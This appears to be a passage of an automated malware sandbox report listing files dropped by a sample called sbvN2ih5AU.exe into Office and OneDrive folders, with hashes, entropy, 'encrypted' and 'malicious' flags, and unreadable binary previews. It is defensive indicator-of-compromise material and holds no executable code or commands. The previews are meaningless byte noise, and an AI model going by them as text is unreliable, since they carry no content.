C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.872322408247689
Encrypted:	false
SSDEEP:	48:TScmNQ/vjoWoG73g//IWfIQreOqYYga7N3l6D:2cjnjoWVDgoWw+RxYgaRE
MD5:	92DF9A3092DC0C1A4095AF65F10CCD63
SHA1:	1C3A2A89F011B6B106E068B6A97D66138A712BA8
SHA-256:	72C83C21DA1245B847FAE30B5C61E917D8E0CD161E9211812D37C11F67883AB5
SHA-512:	E7C542B724C690320C2D90C09FAB91133C88F05E4E2DBE2903DEA19017686C27390D7396FA9A6E046B8F5B84E6A7BCC6223846520CEA01A63F08B65818A79C7D
Malicious:	false
Preview:	<?xmlN.5.J3....y.2.{......O>4Ww.-SOC.".S.o..nA...>x..F.'..N.L...W......&."e.6..........5#h..h..LC..).V.6f..$.".y...H...)......T#.e.......'.K...5A.^L.>._.....sQ(&..Ko.'.Co..1t./@,..7..2.U:#.>...S...rE.....H..}.^ .....F......t..N..m...o{...Kwt....c......v..R?NOH~..._.C..K..-.r.....3;fe.....}../ .,Rdm.........\.$...6Q........d.;.bam.....YI.....K....f3U.qW.~......F.,5T..>..+.7..9u.-..-M.h..v.4..s,.ak.H.h....W.B....a..0.N.._.[...m.CnJ..U.o2.c..A.M..i....e...-...\.._.D._4a.w..o..a.-.....}..u.L......d.G.....#...\y.Koroafn...Vnv.!R.....W..Y.......o....'.+...!....H..!...x..._..cp[e.".Zh.d#..&...f.X....zi.......<...g[om{.&3Y{....4......\y.....%.^.C2....R..4d...=T.6:......!.eF.5.'.L....u,.(Pw(,$.F..gT0...;..j.......[rFSYdq..7." f.~...KL.Hg.v.H.HXy.`.Gg...G..i...*..B.A..E2......G.....V..$.........d.~.N..7sA.l... "...?&...8..@. ."z.G..AN#uJ...W........gx[...]..$!..x. .a.1....ag....o~..(.>...Z ...{Tu#... .........\|=V...ny!....6...B.?..i.^.....T..]....S

C:\Users\user\AppData\Local\Microsoft\Office\16.0\setup32.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.99868924335943
Encrypted:	true
SSDEEP:	3072:m8uXRSH8r74z+YRIfEs+JKdufkImXxeV+0GQcCEn2r1:EXRSH8wKYmfSexek0LcCnr1
MD5:	C4360CEAE1DC3AB4096B93DA7BFC0F25
SHA1:	8F69E28BC192C3038E7B26D047ACD61C321706D5
SHA-256:	B5169F50156428707F280EF5B0BA940F83959AFC078D61ED5405F866B4149803
SHA-512:	0AB576FD4AA1CD18F4D583779DBE6457473C0C87222D8AB757B31076A50E72818849A95D55333DB758FB33399D892DEC0E01CC7D422494B152E93236D7B53815
Malicious:	true
Preview:	<?xml.......7.d..h..:7)U..o......8.^..........jc.n[......s........:1.f`.@.cE...z.....t.Qm.:#3........#s.2Fg.A}.......}).e....b..K}6AG.+F......G.Y .m.......r....r.S...eA....U...}.ck.\.`a?..UE..o.. QTp}..,.>?............:..K........F.p.6.C............,...!3.2.P.. y...s3.K..3+......5..7R..+y.C...._.A%..s.92@"..]....6..Q.S[.f......).f../../+JE^x\|..=..Z.}/^r6-.F>......H..7..wr....E..r-...n.rh..L......t...LN...r.U..'Z.3.t@.9....3.X....%..N.<bG>..b7#.@...7..g.{.7......y...ky....75.N.=....1X..6.p.{..........OY.!.,...+K.R.K?..+...<..L[.Z.v...7....h..&....![..W....q....2.._x9.=h...n..c.wF.......j...^.....".$c.w....W.....&..J.i."..}N......p..(K.M.I{._........K.U}:G..n...R..cn.z...l...-i....v.'..M....=...7.i...&a...z.r.....~...:E-.... ...Q?.....f.+B...j.'q;2........9q......r:w.R...:.Gn.P.nF....~c!..N.D.\.....$q.v..j..5..z.}..J.....U.M..... .Co%............4.5.de..]F6....j.F0.._...ZT@.-R.z2Iz.Bk.o..61....>P]A#.+...;=.....B...En..G..U....*wZ$O.?.

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-3FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.823385099224203
Encrypted:	false
SSDEEP:	24:QrvuqxiACqA/2Yc4cHZOrnBg23mPxH7tza7JT8YMVo8gwh2bD:QrvJCn/2Yc4fnGxH7tzMJzIsD
MD5:	F14502974CB28361302309F24A1CA6B0
SHA1:	44E2C38F8A2503640954BCA8F574E6A5CBB3E39A
SHA-256:	B23935B0C69AA153286B4991F802AD2E3F5102F7017EFDA72EA87D6E0D6C0091
SHA-512:	CF448688CBDB342351F81E3B674627FE1E3A7B52CCC529CE5117CB18C2F53FE9B89648FA50EF6EA22F86DF52F5906C20893CB82428EF311EC3472972F75B76EC
Malicious:	false
Preview:	1.1.9...w<.L.3.5...R..... ...@..]..c;.....>...-ag...:.o.....!......(ym;.0.g..ni.#u.K.L..t7.N(.1.4.~.3.X..'...S.#...b.[..(...^.. b.h A`...t.....L.1....t.}..@......#..........R....Lb.s..{>.O..7...CFq.R..5....s._..!?n.x.....l..-.....9..1.=.wH`.!0.r....WN.\|`..9..Y.G.r.%...>...[.8.9....Y....+,....."?.....%.....\.u.....M.ze#t...C._6X0.nQ.$b`u.G.......N9l...>...z.[...0....U..6.p.d..<.-..BU....?...Mbm.....#h}.ex.:?2..I..o8h ..1......l;Bw.Od...6....cA...2....>@R.....8.....rM?].@..(.^.(T.U;...>.....!.;.N..Q....e8o,i....7Y....y.J....sgM..SE.9..ig..0.....X.5v...I..j...Gx..p...O...l:/..u...R.....)71...'..Q..D.2.Y...;..<..va$../F........sy-....9.q......@g..5.a..."...w(..h#......O.c..&".u.r~y...S..+b.~.....i.I!..US&.T.2;.#..F.. #$.2.....Yx.7..h{Zp53.1[..i.^K..x..s...V.ds@k"=.....N...o4......m.g^.s[.S8......r..`...G >.@...Mu....W...k:.-.v&o.....z..)`.4...If.....?..k".yx....s....>..A&...../.a.["A.<^......t.C.x....O..a....J.qv.F...{....YM.x...

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.81329692772748
Encrypted:	false
SSDEEP:	24:c2Icp5xmWOR+8F6ejCnMDC9DuGuA7qxgfmQuGqJlyIn2bD:cRcpmv+8FB+MGJGuuJlpkD
MD5:	A9B81CCF8F58DF9DA5E386EA4F3ABC7D
SHA1:	71D4347FC300F8A29136225478BDE08CAFBABCDE
SHA-256:	E1D6644B96213B01EDD3079681876ACA66411BC65503583160513B77B6DAFB77
SHA-512:	E54114CB92AEC736445AE053E310A1B4EDBC471D11BA3C30DBFFDABF39916E01DE17EB39AB7E9B4E228C34B19A99ADD34FB1EF2CE8F10BA6381EC4432502CDD9
Malicious:	false
Preview:	1.1.9.b#t?..tX..9u..{B...z..W.....y.]..+..J.H....d....9..@...R@Y..q..f.f........`....oN.......Q0..."Z4{.W.......;0o,...iB5.:..../..U#.!.......\E.1.........f.R.x..59 F.....8.I..[8T.1A...M.. .^..Y.......IX.tdFDG...,.A.....mU........k.....d....[.?J&.'.e<..,q.J..3.q0...T.q..j..t.=..l-.LOL...J......r....X)..i.n....>.[.b.".....L.e.....1K\)...W...P.5..........};q0:.y;....e...'......m...U.X..By.^t..%n]Dx...W6K...L..oJ8.Z\...$.[\?...Q.+...<...sY}..c...UBW.GCP.g..L.`)xm..t.(...Z)...9G..(....f...+......{.<.d:.....g..\G..j.....+..#...D...:..........+..b.....8.mSEk..k5i.=3.T.....Ye-..a...Ss......AK>.Q.......Q)PC.J...p.0.k`...Q.p.!.....Z.....:Y....9dW..syd......J.C .....d..\.j......pJ88.r...+........[.kIzf....8...!@n .;OwvP/'..d!m.UC..%...s..a...@..l..Q....L.Ukw+K..\}.o..N;.}.....;<.\.r._....p;,.Rr..eB..Cn!>hv[.=3>n...4kx..<.....)%.q......5....w73.!..(o4.(.+)...]&.ch..)O..BJ.S...d,.m...J.`O{....t.l..1. cMQ.S..F.T. .....J..#.N...,>:

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.994422754019897
Encrypted:	true
SSDEEP:	768:o3tang/ptD3acJSko2ffedy++eH57b1XOo16mOSFqYruDUWDh+HJIeOGfYSj6w:Fguk1fmzV0o16fudkh1dGfb6w
MD5:	5DD1366B0D846A08D497D508B446781B
SHA1:	39505059CEB171917A585F8E9F02301CB625752D
SHA-256:	CB61B4565ED989F5B0781F4E63DE0EBE5E100642BC668E7366FAA5838F8F983F
SHA-512:	48CA6478FEC402C3C1F1E6F5B23ED8594485D3D6ADD19A7180679811FFCE1AA95B415D255BF25D67C24FD4D3C0D8AEA4E2BC8D56CDB133692EF67260C4A5FCEA
Malicious:	true
Preview:	SQLit......aX. F..</.1.+8.p.n<,...&.b..+f.[..%-.\|..I.G.........(o;..0,.p.........g.......2.V.. ..1.R...o.~G...>.\l?..S.bI.G.....z.....!..A..A...4.i...sH}<..h.......7..S.0.g...5JE.('<qp.....II.,.}........L..WAT.V..W..q......4.b..>p]..e.~......%.kQ...........W.......m....vy......:.yX..KIy%..g....J{..0.....5z.v.C.[....S.k\|6..m...C.g.t^G....r..b-j./.....pj...m....!"........J!&\G..!......KK.=..fQ(^..j..YV..!BP........vz.R.B.=w.U.\|.N...v.D\.Q...<\E..3....~./L.6.3..\yX...!....vv.0.I..B...S&7&.........V.9.F.....Wlc.i.+...I+f..#./..+.L@..N..k.&..#.=..=~......1'.O..S.OG..(W.......?Y.><~..o.2....(...H..w.........3.['k..iT@..[...?.`f...a..g...?mg.3{.....JxM...(t...`Pq.Y=..K.........bg.."...N.......r..:\"..0.......C.`..(.9.A.9.+2N. K....q................_..?_..\|.c.......e...R......-..cI....!(Y.[..F.......b_..6.U".X5/A~Y.C.x.V z..!.F..X.\...<...r.EI.{...a......Y.%...o}Iu...;8P...........y%...x.8m..yim.~n.lh.Th.,.........%G.Z...v...!..?.>..N#...).

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.990684821438939
Encrypted:	true
SSDEEP:	384:1qr6aAnbdg1bfJC59TWV5a35y2Vot/i36FHj7Hdmn8lC3:1qmnBg6SC5k/i36Nj7o8lC3
MD5:	B7BB095A6143CF97BBD43F5B108BC524
SHA1:	D059B1ED2EB57F08ED9F85EF6DD4745183633CB3
SHA-256:	7760CA76BD192EFC8CCDDEC62E308CD348F2FB73B494959EF8A9C2832F2E8761
SHA-512:	7B46CE7224555C85F4EF43CC953E89FF177B60B9A088A3EE15A14286E3CF72FA3DE49383CE3DE37369D29CC6FE191123F397847D10B127725011C34255D69353
Malicious:	true
Preview:	SQLit....g....4..x.vN.5B.<.`..e..H.%.\L7.o..\|.^...M.js....%@)..OA5...{8^Q.....y>a.... ....P.....{...m..fj...7...x..r..H..\| !...d\|I....Z0.W\-<..2...3.x.B..8...7.............c.Tl\|....M..G..)N..$...;.fs.wA<.r..F..({m.qR..3.....C-.........B...D.C..8..)..x...xG..8l.2....`.?B.F.f.<v...07.n0...S.BKM.^.`ni._.x.ib.....#BM.$...=0....\..E.-...WQ..e..%/.j.`y.#P.8...Vq..z..._I..X..e....v..O}./."......3@...}..j......x.L..I..].".#)IQ.q...b.......C.w.....d..AjI8.&.... ._h.&...;.G..N...g~A..;.`.5.@!.....=$.9....$6...G<...e(.q.o..........8.E.fu.T9O.f...O..Pc........$...-.].i..Y.g9U5m.%u.9j\,q2..`8[^.Fk..[c\.:..-...g....JM...%..m.....rV....../,Yzq.../.3.q..g:..C,Jn.'...z.I....u....`.8.F..t....P....`...l.XZ.C...:.v.B.ER...vI<.h.6....2...#...Aj.WB.$.$:B...B.!3.`.V.Vm.....j..~..q...T.0\..WC.\|F...9......\...t..t.l~.L..5...L."..A.j.-....x..y..a....9....^o.N u>.....FJ......7.M.....E4..Zd.p.9J.vN..._V.W..(m...%.....me..f]..f.mu/.+.3L.......L&b......%..N* w8......a.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993127193914586
Encrypted:	true
SSDEEP:	768:kImldt7tLN8rVWQDh1A2boLNC5xSrZGj9hVvVnahG:kFnZ8YQV1A2boY5Og5h9Vh
MD5:	A4F906426427D7C61D6F2C2E05F7E527
SHA1:	CA45DEE710479E28B568D37596F4BBB89A056F05
SHA-256:	46B88E9E8E75D97F957B28BF9A5055D18EF669223E278938FCDD2FC133F8E41F
SHA-512:	53FB35EF4176E2E21D009592D777F6B292529A5F1BC2EBD9231A84B58A93227230046543FAC998AC60D77404775A398349A76E14834530C9F508CF33531E3772
Malicious:	true
Preview:	SQLith...8.fz...c'..>u.P..F..........sr...G.N...(]k...+..H.oQ....j.M..2u........nI.....epX.(.......^~.2.1...`.........".t1D...?......=.x..&.#..gz.....T.8B.s!..?JwO+J.rk.G.Y53.F!;..o...0..p..;o}.....7..q..Q.).....$...]...C..zx....+Vw..{..~..6.\...x.0YrB..c+......_..KG.`.x.2w..c.bs.f.h.'...L......H..e.........C...D_S..(...VV.^:.:...)...v(...U.)s3 .\|.l.{i.y.j.%W......B.,%.'..EQ..--.I...1.....3..u....hE.0.1a.KK.E.V._X5>[.kR......(YE...m\|....(3.7...X.....8c.\|...{...CGg?.xO....bY.A.d.6...cG.@:pqfh.C.:.l....).A.E#......si....D..E...B..S..D:......3urn`...j..!y....[.@.C$".Q.........n.N.A e.t>...Br._.j..\|R.....k..~dq.1.............T.N.Q.y.&..2.\...{4".t.Ztk.....dsE& .T..0..+....1. ...Q.7.....5.D...,....KK..@...............AU..l...... E.A.a.H.)....m.T\|...gY.D@m.,1..M.I.3...udk...HK.a.........:Qc.Qq!..B...B.,...c....~.._.a.w...V..>.2....~G).g}.jt..9.JR..j..sr..].v....[;..;.Py*..!"..tA.}....M..D...i,'......C.../h....E...'h....iy ]....4..Y.........

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991659392508932
Encrypted:	true
SSDEEP:	384:MhtrqK2ZsqwETQG0y+VLh5b6bcZAgZcvCSAiCEj5p42i2nnSBLUJS7:gJ12ZfNTbox6gZAgqDH3SBA6
MD5:	87A4B9069A267246DF263969924EF4BD
SHA1:	F56F4C31765CE3C7E612B2AFD28C04B02C89F9C8
SHA-256:	3245655F5C53027F5456AE482E083D6DB421BAA6EF8DA22605E1481ACA2B5383
SHA-512:	DC58A45E30E3072421EB49363B5C8A11A737809C6E8D59A5A6556ADBBE8D771F8660873FF4B5E16A5BCF1B47EED4508A7DF04CC4480AD7B0B365EA2FC0CD14CB
Malicious:	true
Preview:	SQLit.......'T..:..>.$l..gA.&OF.3............U..).Z<..."..j<O.b.0........}...{W4..U.~{-...t.......k.^^A.F..#..([...srLJ.\..6.)k.s..[..e)J.g.^.g,.].I<u".h\|.^.C."...w'..mi"\|...\.....e....UU.Z..,...O2......c....P.{.o....tG..e..... .N..1g....]/...pf=.&_....4.E.."......\|...m...:1.....V.........5......i...l..xkp.w1.E...g.NZ.6.....2....dt.Fv...:v..F.(.4%.uIJ.m..a.......X.B0Qd...N.,b...E..g.!..$p....t.Y...Jfu.Z.3...?.6Y...A.....aj]...........l..._C....5s....9.r.2Zf..?....!.bk....1....}.\|...\|EoB.H.^j..=.."m..8.><.....{k..&.f(.....g.b/...s.. u.;.;.k...IK.......G.VD....."...jX3v..5..4.&.5.;....Xh.EC..=M......C..4!fM..Mb.z:.\|XL..uN.$...t.....[&..&...st........)`....s.f.z\|..@.L.pV.d.W.[.}.v.T...9.2Wn.~....$.%.'{.w..s...!i\.I. 39.Ae......@b.C.9......O.....g......V.m.#.;.q...S....._R#t..j...Q...`.).k...9...z....!x'..p....t...A.[3...C.<OU.W.0.....o..;_4..up..\|!R..Q..5...@..k.$.F..4.x.=.t...`F....5...u.\... P....^.?U....qS~#.w..J..n]..Y.v....Px)..._

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993045213817266
Encrypted:	true
SSDEEP:	768:QhXNrBvM+FeLtnLlObzITuJXi/19eVJjg27T2iF:Q/JsLh4/OuJXiSVqMV
MD5:	304D587023302F520DC9182857C06F7A
SHA1:	D6FBF8D6581A0FFFE0D5BEE855ABFDCE2DC6594F
SHA-256:	3DF855AC9C682014AD3A372340B2ACD054C6CEE464E5F2DCF462B2568BCC9ECA
SHA-512:	DF8FEC49DB52F9C8ACB08530160D751331B18A92F6970D9479572788AF15DDC11099D14BC86E5E8DF43A09F10EEAAF642FAB936D507E479BD5E5406E4FB0ABB2
Malicious:	true
Preview:	SQLit.M...Xi.i.H3...(...,...n..e.Xw...x....W..x....V/.CV..^\|.\|^......$.#"D...5w)...y.(.........QS..c.O.7.......<.u)>......&..). ...r.{\...y.MySDQ`.......F..r.L.}L\q......^.9.d.........P.....7....dg.......:....W..U.k...`(....^n..g.$..XU..f.:.....C..........tv.....O.I...ni\|.xB...4.EEp....cM...%8...$....D.D..m....9C..C...\%.zpT...#...W.W.7.}..3D@._+...,.p...(V....!..)i`..P..L.l.g}e..w..v.::.9..@~(.@M... j......8".6....P..@../.(z..+.l\.....1~t,=arLZ.(;\.\|..H.[V.O2..e...I..W....fI..c.&.4...&.)........u1g..d.....o..5U ....n.......sCk#,...yz..\|...0.;..r.'........5]u.b<...4E.8?..u...b~.+s....f....1..Ad!..!...m......A...&.o:\|.>..d.7..........2...E...(o..a/.5.z.Z.....[.n/MA..4.Z.uR..:..e..N.L$...DgX'..i.(.K.../.R..[.F.-.o..\|.=...8R....<.\|.GAq......OX2.\|B...h..iO.Q..........t.".`&....N..U....].c...8I.W.0...3.]i.xEI..W..uq..T.9PG.....F-.D.:5..W..J..+..`...(.a?>.Fk.d5..#76-..^....>._....r....Q...^).Rq.qz.......$......W...*..D....1I7..

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.703190584515041
Encrypted:	false
SSDEEP:	96:MjZjI9Z//gIUw5fu0yyxdbzOxxKU5uIU/qpb:MjZmlpUodTbQKU51US
MD5:	122CA8F65D933AA4341EEE166CD5068C
SHA1:	B4524BA6D8DEB211A6AA63F767F81F9458F23CEF
SHA-256:	124CF301EEFB6C0F8551B9D3FC578C7F656CD92D5AFCFE826987ECB2A16016CB
SHA-512:	028BAF27DE0B8A43CEBB1A1129D75F25BBAFF972C94469EE642E15B7575E5CC706BD02004BA73A3B56D80C3856B2DE8983AA416CBF05ADA2119628D77D0834FB
Malicious:	false
Preview:	EBFGOM8..a..h6..g...\G6..x`m.).J.F..{..mJ...2...A...%h.i.\.H-...uu.f...Y#.%.2.k+E.I...../.\|...-...1z^...=R.m..<.m....H.#.X....x..].Y]Y.aj.._....t.fv......:"..!..H../C.^@...!.>9.EFJ.;Q..3..!...E..........%....4(".8.F8@9]..Y\|S.e...bk........i....f.,...[..Bx$..?..[,.p_o.K...9BJA3.j G8..b..~.d....,...f....a.\|.c.%.a..c{..q;...N.(hE.$.'<..V)('z..{..........t............O..w...F.P..Y...EN...A.W..V..%..s...dPD.%...k&....>..............\|0X=t...}..\...cA..FV.G.m.M-..9...2>t.^2.Y[.).F..i.L;..v.wF..'r.g.......HW....E.......>a..........Y..........vt.!n...\...m.[.I.....H8.l\N72.5a..f.p.........`y..cj.Z{u.I....p..&..H.P.cD...Z.@....6.F......W/.b>..0g....\2<:)..............1.^..l.F.o.:.sP....-...f....u{.J.P.g...z..I.8.....B....c.B...-.......&14m..Y.>..[dC.Nk...?..@x........(.m.1..V...eF.....e.V.p..?P.J..'..7S.....?. .5.e.M..V..................b<i..Zq........\|e..fq...W...~...P..6.$a..oJ..:y.SC........kp.N;..c&..i.5D.,.8}.Z..?n.....=l4.l.tK.M)?

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7695833884371677
Encrypted:	false
SSDEEP:	96:/rFIMNvEEhkwny+nVZhcLRZ1eKah4NK7MLDd6Z9w0:JFNvEZKy+VZhgRVaCNK7oDMZ9
MD5:	6451B02C16ED1258261DCD86DED3E594
SHA1:	DC20C6C17D6FAE89CFEA77EFCABD065462D1BE02
SHA-256:	1E785B330B460E2DB62367152D8B17E097ABBA516837A45D81F804FFEC2A91A9
SHA-512:	C3B125555BA5ABF2B350F93C8FBB09F4F9FD39C4D0ABC36D618EBCD66E77B00FBDD5911FA96849ABA6F0E47FDFF43202FCCA3ABF219ADA0A70B99B62B764F3FD
Malicious:	false
Preview:	EBFGO....c.oZ].h..b3./..(9x./..'R..Q[....&.yH....i.....u..&Z"....P..(+B0..c..W/.........GZ...5.x..g.Q.. .h./...u.......u:.%.k.[!:.....XP...LXG.....s.E.u@.....-..6.....@.R\|@..#..k..~o.....Z,`X.a.....&F.....Q~L...J.....f...w..a&Y....f.......[.4.Od.\|_.....,.@.6....&>...$......{.......uE?..K7..GI.M.."..!f...t.&l....w.Y.....1...U....A+...h..GP.$K.iY4........d...V.).c.o....b2....U].d..r...w.$.................8.....A..wU.....".2..~...I.%@.....~..^'@...8.:.}.g..f.C...vf..:.c1b.....R.\|.x{.\|.7>u.n.lyb.<..K{..r....z..U.B0......u....~N.'....E\=.@7..r...i6]h%....%R..B.d....>.l`7.+{..5...j,.zY..C-+2,.$..F....=..,..U=.iX.......$....kU#............,.N...]!.>.....Z....\|>....)....V...L5.s.S..v.8.W............$L.....DTL..F.M$..O..q.....n.&!..%...H......Bm.x]...=..2.I.>..`.m..bK.m:...:..EL....kS`.O.o.i...Y.X.&-O:.A.....Ju...q8.C..\|....iw.8.4...KRS.%.qY...`*J<.R.^.{.T..M8.>.3..b.Fi^.U...A..-.z..m.9.:PzM.}yz8..F.%..\b..JS.....C_m..O.....'`.....l....

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.279139829126558
Encrypted:	false
SSDEEP:	6:ifujXLozXfeCh+tgPwuQFfMPDtpRbTVeclxo+6nIS1WdNcii96Z:CaLkvZEKPQIt5eclrLSUdNcii9a
MD5:	A74C925DE9B476D5647B0F426828C47B
SHA1:	79CA0BA966378504400EEDB0981E852A56C926F6
SHA-256:	0CC86DD8D97AEB5DA81E9B70D5D50299EA5381D3B3E76C1A99E25814742412E7
SHA-512:	D94D1F12269011B68F557FE7A05EEB1E912CEA5BFF6F1DBE49B7A7473BA46E6223B21D546C0E48214703A8E34EC0887B8278F3E6AF44AB2BFC2BF23C82606E7E
Malicious:	false
Preview:	2..0,Y.........../.6q...q....%J!.....3.B.^..k...L!.n.....'...\..6T.Fd..c.S..6.z.T\..id.f.....Xe..Ox:..P.@..:.(.]...Q..Z.H...-GN+.)X1.Wr....Q......T[.g...fI...<...9....,..xw"O...{.t#....t/.l..6..@.8...5VV.p...........>..C.Fx...\|......f..).?.......s.-3....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0419974053780194
Encrypted:	false
SSDEEP:	96:cVl9o7I7+nI5lnQKTzwy6zX5vB6CoWYBXNCWbAqENP9IH8BE+R/JpAq:s67IN9Qszwy25vBRQXZbhEd5HpA
MD5:	7B26E8D668A688C8C230C4403CBBF059
SHA1:	79C301E12AE0341080CCBE67DC23C413DD5BF3A5
SHA-256:	D8081A220E3A3B3E79F227D0EF746C7EBE44FDFD9BA01656AAA6CD1D53872DA2
SHA-512:	9318F15D9AE9E7AB4B54B096970828EF3F855BC1C78895A78DD8EDEC153CA0E8E65D7627506C924007BB639FFB1FD4BA5D288963336777200BC392963BF00277
Malicious:	false
Preview:	EBFGO.....0..X]..9.X. 1Z.k.G..<RC.o4.+.Y^.......&...g..c..y.l.1I4.R.U.A.C..%%l...J3.b3...cf.Z.#..Va.@......}.m..N.o..9....X%....uz..^...H&.jl./.Wm..a.y.(d.p...WTuCB./F.)Y..r...R....).....n.(.+....cN8.}.z.S..B....m..RJ....fX...'.E..;V....h...98Re...iN.qPc.^.td!:..{.....Tb..........H..Ts$r.H....%..i.<~.D[.X.2Y.)....}O...>.6..p.r.8h.4#N=..8....}`~g......v...O(.!....9}U.A...rEg...-..cu${......h..+s..<..Ga........g.d.oFaA.2}.%.:^..R.F...w.e..U)6.-.rH.......}....4.T.o"i@....H....S..@..W[...w}.oN...#S......s....h....f..2#C. ...'.ih...zK..K.....,..h..>.i..p....o.......~.3......Z.C....U...J.f$.l=k.EHv.]dw2.&...........d\|.f.J"..\|.u+Bb..\|.6..V\|.......q..V.&Np.%%Z%^..x.}...~.........'Nm.o.e...uX....^......-eg..Sb....3.os.b.....Bx...'Z...b[.^..k....0.......X....q{.d...B.+7@...5t_^..i..z.]..2YJ...F.Z.......3...O*...E..F...~...;V).oX.(.P>......=L..gr.R[:......=;...Q k..Ud0M...y0.."Y.....p.6b.......6.\.+...#..b..'I.#.ND....)Jxa..J...k...Z0.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2788245732472288
Encrypted:	false
SSDEEP:	96:p8lm7QLbezIaBvoDZJrrF2TO41hg8kB5dAXaKQtgj+N/rS4lG/8MH+vzN4DzzPTs:TVcOoDZyC4oBXAXaPY+w4IZ2iH7n
MD5:	559DF63815719F6E2126A0AB57C65A0D
SHA1:	E7C6520F867C1F74F2193BECE2271D47A97A55C2
SHA-256:	936F932267B3D9EB70C9BF46F4D7851268B87C7241BA9B86839AAA5694E48142
SHA-512:	4DF752D48FEADF121779AE07CD91E0771F0C9ED332F6E65E9139429A3754ED656F33629076ED510EA8611727DE9F9CC9993D47B8F5CA9943749DC3D033BBF724
Malicious:	false
Preview:	EBFGO<g..Y&.F.q..QT..Y...&b}J-.ls.0.O.(.YIu.'.z...=......Xz..T:.\.I..%..<.e.8....X7u.cgK..b...>'}..G4Y..gOzU....S.4Q.t.g.X.q...\...c...L'Y.\|..>.>...2....KI.....Y.1.Wz....!A..._w.^M.$3....i.%....AKG..!.)....l2g.hmx.1......B..e8....e..L{0.~.....n.>...Hw~.,.k..t..D..H..N...>...@.....X......d..[YV...U..6...G.....z..]..jyw.d.0-.x.'4..}.u.....?..'.^.X.B.........Mr...).Yy..a....n/y:..-.!d.....6..;..^%....w.....S...8..i~).....O&......r..\Q.. ....(.}<p3g......Ho(.p...j....jTa.AC....9y..U.....X.i.6\|...sI..i .~.Q....~..4...E.3ifXd....j..Y..$.FG.k...p%.GQ\|...n...'..9:.....E;.e.GSPZ..o/....c...~....p....Yl..~.....I~.'..LR>..P{.+..5{.xC. .....C..4....E.Z..[%....w.0,.g...z...5...'..i.7. ..C..&.u.'...\|..C.....p..s_...P..-.KY.v]^5...,G.Y....".).Y.Q....^g."9..V.'..;=...d4...6GpQ...c. .......xy..bfw..}.-(d.....A q{.6.....d.q.&\|..wc_.JB......b..[8~....O...?./.............MM"..A&/...+Q..t}\..:"E..[...;.x0e.TWQ.Pr,.F..c.iG....+......:>...L...A.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.89315483662321
Encrypted:	false
SSDEEP:	384:oLw/eyLlyLrIbrV6AU+znt9o/NK/0cElp2Iu1B+P:/2ycLrIoA7te/NK/0cEnh
MD5:	EF542E96F2B822AF457E1FDCC7A41E83
SHA1:	83C60B0D05A456BCE85A4E760D5A31D1D8A5E3B9
SHA-256:	14F9C40D05AE0929DCB15134DDAEE82C2E1B3A04FB3796BE5A5D99D87D0D6402
SHA-512:	810FBE57B2E18B2D18A35CBA8FD08730461EC63854F3405B046BB82C71709A1E8EAF4BD1D69A0C63009DC87E24FDBC8AD58D087E54EDC085E7BB988493FE1698
Malicious:	false
